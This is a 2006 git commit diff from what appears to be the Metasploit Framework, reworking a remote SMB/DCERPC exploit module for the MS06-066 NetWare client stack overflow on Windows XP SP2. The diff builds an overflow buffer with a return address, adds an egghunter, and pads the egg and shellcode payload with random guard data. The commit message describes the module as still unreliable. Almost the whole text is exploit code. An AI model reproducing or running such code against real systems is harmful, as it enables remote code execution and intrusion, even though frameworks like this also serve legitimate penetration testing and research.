Much closer, but the egg hunter never seems to find the eggs :(

git-svn-id: file:///home/svn/framework3/trunk@4158 4d416f70-5f16-0410-b530-b9f4589650da
unstable
pusscat 2006-12-01 16:39:25 +00:00
parent dc0ad61c85
commit c619cc6a12
1 changed files with 26 additions and 6 deletions

View File

@ -3,7 +3,8 @@ require 'msf/core'
module Msf
class Exploits::Windows::Smb::MS06_066_NWAPI < Msf::Exploit::Remote
include Exploit::Remote::Egghunter
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
@ -30,7 +31,7 @@ class Exploits::Windows::Smb::MS06_066_NWAPI < Msf::Exploit::Remote
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'Space' => 296,
'BadChars' => "",
'Compat' =>
{
@ -44,7 +45,8 @@ class Exploits::Windows::Smb::MS06_066_NWAPI < Msf::Exploit::Remote
[
'Windows XP SP2',
{
'Ret' => 0x0BADB0D0 ,
#'Ret' => 0x0BADB0D0 ,
'Ret' => 0x00EBEEEC ,
},
]
],
@ -64,15 +66,33 @@ class Exploits::Windows::Smb::MS06_066_NWAPI < Msf::Exploit::Remote
# [in] wchar *
# [in, out] long
# [out] handle
ofstring = Rex::Text.to_unicode('\\\\') + "A"*296 + [ target.ret ].pack('V') + "\x00\x00" # greater than 512 bytes
# Generate the egghunter payload
hunter = generate_egghunter()
egg = hunter[1]
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
# Add giant blocks of guard data before and after the egg
eggdata =
Rex::Text.rand_text(1024) +
egg +
egg +
payload.encoded +
Rex::Text.rand_text(1024)
buflen = 295
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + Rex::Text.rand_text(buflen-hunter[0].length) +
[ target.ret ].pack('V') + "\x00"
#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
NDR.long(rand(0xffffffff)) +
NDR.long((ofstring.length * 2) + 0xC) +
NDR.long(rand(0xffffffff)) +
#NDR.long((ofstring.length * 2) + 0xC) +
eggdata